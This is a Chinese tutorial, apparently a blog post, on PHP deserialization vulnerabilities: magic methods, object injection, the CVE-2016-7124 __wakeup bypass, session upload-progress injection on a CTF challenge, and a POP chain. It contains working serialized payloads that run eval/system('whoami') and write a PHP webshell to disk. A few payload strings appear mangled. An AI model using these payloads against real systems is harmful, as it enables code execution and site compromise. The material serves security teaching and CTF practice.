序列化与反序列化

在php中,使用serialize和unserialize两个函数表示序列化与反序列化。

serialize:把一个对象转化成字节流的字符串,序列化的对象会保存类的属性,不会保存方法
unserialize:把字节流字符串转化成一个对象

看下下面的列子,通过serialize序列化返回字符串

<?php
class A{
    // 属性
    public $name;
    public $age;
    public function __construct($name,$age){
        $this->name = $name;
        $this->age = $age;
    }
    // 方法
    public function Skill(){
        echo "My name is ".$this->name.",I am is ".$this->age." years old!<br>";
    }
}
$a = new A('fanxing','20');
echo serialize($a);
?>

返回字节流的字符串

O:1:"A":2:{s:4:"name";s:7:"fanxing";s:3:"age";s:2:"20";}

O代表对象:长度:类的名字:类的属性个数:{类型:长度:属性名字;类型:长度:属性值;…}

反序列化列子如下:

<?php
class A{
    // 属性
    public $name;
    public $age;
    public function __construct($name,$age){
        $this->name = $name;
        $this->age = $age;
    }
    // 方法
    public function Skill(){
        echo "My name is ".$this->name.",I am is ".$this->age." years old!<br>";
    }
}
$a = unserialize('O:1:"A":2:{s:4:"name";s:7:"fanxing";s:3:"age";s:2:"20";}');
$a->Skill();
?>

打印出Skill方法中的值

My name is fanxing,I am is 20 years old!

魔术方法

在学习php反序列漏洞前,都需要先了解php的魔术方法,常见的魔术方法如下:

__construct()

当一个对象被创建的时候调用该方法。

__destruct()

当一个对象被删除和销毁的时候调用。

<?php
class A{
    public function __construct(){
        echo "对象创建调用.<br>";
    }
    public function __destruct(){
        echo "对象销毁调用";
    }
}
$a = new A();
?>

__toString

当一个对象被当成字符串的时候进行调用。

<?php
class A{
    public function __construct(){
        echo "对象创建调用.<br>";
    }
    public function __toString(){
        echo "对象字符串调用";
        return "1";
    }
}
$a = new A();
echo $a;
?>

__invoke

当一个对象以函数的方式进行调用的时候会被调用。

<?php
class A{
    public function __construct(){
        echo "对象创建调用.<br>";
    }
    public function __invoke(){
        echo "对象以函数调用";
    }
}
$a = new A();
$a();
?>

__sleep

对象在使用serialize函数前会先调用,在执行序列化的操作。

__wakeup

对象在使用unserialize函数前会先调用,在执行反序列化的操作。

<?php
class A{
    public function __construct(){
        echo "对象创建调用<br>";
    }
    public function __sleep(){
        echo "序列化被调用<br>";
        return array();
    }
    public function __wakeup(){
        echo "反序列化被调用<br>";
    }
}
$a = new A();
$s = serialize($a);
echo unserialize($s);
?>

__call

对象在调用不可访问的方法的时候触发

__callStatic

在静态中调用不可访问的方法的时候会触发

__set

给不可以访问的属性赋值被调用

__get

读取不可访问的属性值被调用

__isset

不可访问的属性调用为 isset() 或 empty()时被调用

__unset

对不可以访问的属性使用unset会被调用

对象注入

满足unserialize参数可控和类中存在魔法方法,并且存在危险函数既进行对象注入

<?php
class A{
    private $name;
    public function __construct(){
        echo "对象创建调用<br>";
    }
    public function __destruct(){
        eval($this->name);
    }
}
$a = unserialize($_GET['a']);
?>

这里我们打印下序列化结果,发现属性的长度是7。

O:1:"A":1:{s:7:"Aname";N;}

这里需要注意的是成员属性使用的是private属性,在使用private和protected属性时,会在类名前后添加%00,即2个字符,使用urlencode打印出来看看。

O%3A1%3A%22A%22%3A1%3A%7Bs%3A7%3A%22%00A%00name%22%3BN%3B%7D

同样,也可以加属性名前面添加\00*\00,构造下pyalod直接执行了任意代码

O%3A1%3A"A"%3A1%3A%7Bs%3A7%3A"%00A%00name"%3Bs%3A10%3A"phpinfo%28)%3B"%3B%7D

在举一个列子,这里使用__wakeup魔法方法来来绕过,涉及到一个CVE-2016-7124漏洞,该漏洞影响版本:

PHP5 < 5.6.25
PHP7 < 7.0.10

举个列子

<?php
class A{
    private $name='phpinfo();';
    public function __wakeup(){
        $this->name = 'phpinfo();';
    }
    public function __destruct(){
        eval($this->name);
    }
}
$a = unserialize($_GET['a']);
?>

__wakeup会在反序列化之前执行,所以怎么样对象被销毁的时候都是要执行phpinfo的,那怎么绕过

__wakeup呢?需要构造如下序列化对象:

O%3A1%3A"A"%3A2%3A%7Bs%3A7%3A"%00A%00name"%3Bs%3A17%3A"system%28"whoami"%29%3B"%3B%7D

这里对象的属性个数是1,我设置为大于1就绕过了__wakeup,所以当序列化的结果的对象属性大于本身类的对象属性就可以绕过wakeup魔术方法。

2

Session反序列化

php的session在存储和读取的时候,会进行序列化和反序列化,在php中有3种序列化的方式,当在php.ini中设置如下值:

session.serialize_handler 存储方式
php 键名+竖线+经过serialize序列化的字符串
php_serialize serialize序列化的的值
php_binary 键名的长度对应的 ASCII 字符+键名+经过serialize()函数反序列处理的值

举个列子

<?php
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['name'] = 'fanxing';
?>

当session.serialize_handler为php的时候,存储的session结果为

name|s:7:"fanxing";

当session.serialize_handler为php_serialize的时候,存储的session结果为

a:1:{s:4:"name";s:7:"fanxing";}

当session.serialize_handler为php_binary的时候,存储的session结果为

二进制字符串names:7:"fanxing"

php大于5.5.4的版本默认使用的是php_serialize。

在php.ini中,还要了解一些关于session的配置:

session.save_path session保存的路径

session.upload_progress.cleanup 上传完成后(POST)会立即删除进度,默认开启

session.upload_progress.enabled 将上传的进度存于session,默认开启

当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。

这里利用CTF的一道题目:http://web.jarvisoj.com:32784/index.php

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('sessiontest.php'));
}
?>

可以看到题目使用的是php5.6.21,默认使用的是php_serialize,而题目使用的是php,所以可以利用session.upload_progress.enabled来构造session。

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

构造payload

<?php
class OowoO
{
    public $mdzz='print_r(dirname(__FILE__));';
}
$b = new OowoO();
$a = serialize($b);
echo $a;
?>

在filename处提交payload:|O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(FILE));";}

3

之后就可以构造payload读取本地的文件,具体可以参考先知twosmi1e师傅和博客Mochazz师傅的文章

POP链构造

在反序列化攻击中,一般都要寻找魔术方法中的一些敏感函数来触发漏洞,当魔法方法中不存在敏感函数时,需要构造pop链寻找相同函数将类的属性和敏感函数联系到一起。

这里,参考了这位师傅的题目,题目部分代码我删了下,看原题可以去连接看这位师傅的。

<?php
class OutputFilter {
    protected $matchPattern;
    protected $replacement;
    function __construct($pattern, $repl) {
        $this->matchPattern = $pattern;
        $this->replacement = $repl;
    }
    function filter($data) {
        return preg_replace($this->matchPattern, $this->replacement, $data);
    }
};
class LogFileFormat {
    protected $filters;
    protected $endl;
    function __construct($filters, $endl) {
        $this->filters = $filters;
        $this->endl = $endl;
    }
    function format($txt) {
        foreach ($this->filters as $filter) {
            $txt = $filter->filter($txt);
        }
        $txt = str_replace('\n', $this->endl, $txt);
        return $txt;
    }
};
class LogWriter_File {
    protected $filename;
    protected $format;
    function __construct($filename, $format) {
        $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
        $this->format = $format;
    }
    function writeLog($txt) {
        $txt = $this->format->format($txt);
        //TODO: Modify the address here, and delete this TODO.
        file_put_contents("D:\\phpStudy\\WWW\\ctf" . $this->filename, $txt, FILE_APPEND);
    }
};
class Logger {
    protected $logwriter;//这里装入LogWriter_File对象
    function __construct($writer) {
        $this->logwriter = $writer;
    }
    function log($txt) {//这里偷梁换柱Song的log
        $this->logwriter->writeLog($txt);
    }
};
class Song {
    protected $logger;
    protected $name;
    protected $group;
    protected $url;
    function __construct($name, $group, $url) {
        $this->name = $name;
        $this->group = $group;
        $this->url = $url;
        $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
        $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
    }
    function __toString() {
        return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
    }
    function log() {
        $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
    }
    function get_name() {
        return $this->name;
    }
}
class Lyrics {
    protected $lyrics;
    protected $song;
    function __construct($lyrics, $song) {
        $this->song = $song;
        $this->lyrics = $lyrics;
    }
    function __toString() {
        return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
    }
    function __destruct() {
        $this->song->log();
    }
    function shortForm() {
        return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
    }
    function name_is($name) {
        return $this->song->get_name() === $name;
    }
};
class User {
    static function addLyrics($lyrics) {
        $oldlyrics = array();
        if (isset($_COOKIE['lyrics'])) {
            $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
        }
        foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
        setcookie('lyrics', base64_encode(serialize($oldlyrics)));
    }
    static function getLyrics() {
        if (isset($_COOKIE['lyrics'])) {
            return unserialize(base64_decode($_COOKIE['lyrics']));
        }
        else {
            setcookie('lyrics', base64_encode(serialize(array(1, 2))));
            return array(1, 2);
        }
    }
};

User::getLyrics();

在进行反序列化漏洞的时候,我们需要找到可控的unserialize,这里发现$_COOKIE[‘lyrics’]参数可控,有了可控的参数,就需要找到魔术方法来自动调用,这里危险函数在LogWriter_File这个类,这时就需要构造POP链了。

首先来看魔术方法,在Lyrics类中存在两个魔术方法,发现对象在销毁的时候调用了$this->song->log(),而log方法又在Logger这个类中存在,所以属性$this->song应该为new Logger()。

class Lyrics {
    protected $lyrics;
    protected $song;
    function __construct() {
        $this->song = new Logger();
        $this->lyrics = '111';
    }
    function __toString() {
        return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
    }
    function __destruct() {
        $this->song->log();
    }
    function shortForm() {
        return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
    }
    function name_is($name) {
        return $this->song->get_name() === $name;
    }
};

继续找,当实例化对象Lyricsde时,log方法存在$this->logwriter->writeLog,而writeLog又存在于LogWriter_File类中,这好这个类是我们的漏洞触发点,所以$this->logwriter应该为new LogWriter_Fil(),构造下payload:

class Logger {
    protected $logwriter;
    function __construct() {
        $this->logwriter = new LogWriter_File('123.php');
    }
    function log($txt) {
        $this->logwriter->writeLog($txt);
    }
};

实例化对象Logger之后,调用了LogWriter_File的writeLog方法,而写入文件的txt是通过$this->format->format获得,而format方法存在类LogFileFormat中,所以,构造如下payload:

class LogWriter_File {
    protected $filename;
    protected $format;
    function __construct($filename) {
        $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
        $this->format = new LogFileFormat();
    }
    function writeLog($txt) { // 111
        $txt = $this->format->format($txt);
        //TODO: Modify the address here, and delete this TODO.
        file_put_contents("D:\\phpStudy\\WWW\\ctf" . $this->filename, $txt, FILE_APPEND);
    }
};

在类LogFileFormat中的format方法中利用$filter->filter来获取的$txt,而$filter是通过foreach获取的,所以$this->filters为一个数组,最终OutputFilter传入写入文件的内容,就可以构造如下payload:

class OutputFilter {
    protected $matchPattern;
    protected $replacement;
    function __construct() {
        $this->matchPattern = '//';
        $this->replacement = '<?= `whoami`?>';
    }
    function filter($data) {
        return preg_replace($this->matchPattern, $this->replacement, $data);
    }
};

class LogFileFormat {
    protected $filters;
    protected $endl;
    function __construct() {
        $this->filters = array(new OutputFilter());
        $this->endl = '';
    }
    function format($txt) { // 111
        foreach ($this->filters as $filter) {
            $txt = $filter->filter($txt);
            echo $txt;
        }
        $txt = str_replace('\n', $this->endl, $txt);
        return $txt;
    }
};

最后,将payload组合起来,利用serialize输出下序列化的结果

4

O%3A6%3A%22Lyrics%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00lyrics%22%3Bs%3A3%3A%22111%22%3Bs%3A7%3A%22%00%2A%00song%22%3BO%3A6%3A%22Logger%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00logwriter%22%3BO%3A14%3A%22LogWriter_File%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A7%3A%22123.php%22%3Bs%3A9%3A%22%00%2A%00format%22%3BO%3A13%3A%22LogFileFormat%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A12%3A%22OutputFilter%22%3A2%3A%7Bs%3A15%3A%22%00%2A%00matchPattern%22%3Bs%3A2%3A%22%2F%2F%22%3Bs%3A14%3A%22%00%2A%00replacement%22%3Bs%3A14%3A%22%3C%3F%3D+%60whoami%60%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00endl%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D

在base64下通过cookie传入就可以写入ctf123.php了

5

参考文章

1.http://redteam.today/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/

2.https://xz.aliyun.com/t/3674#toc-9

3.https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E4%BE%8B%E9%A2%98%E4%B8%80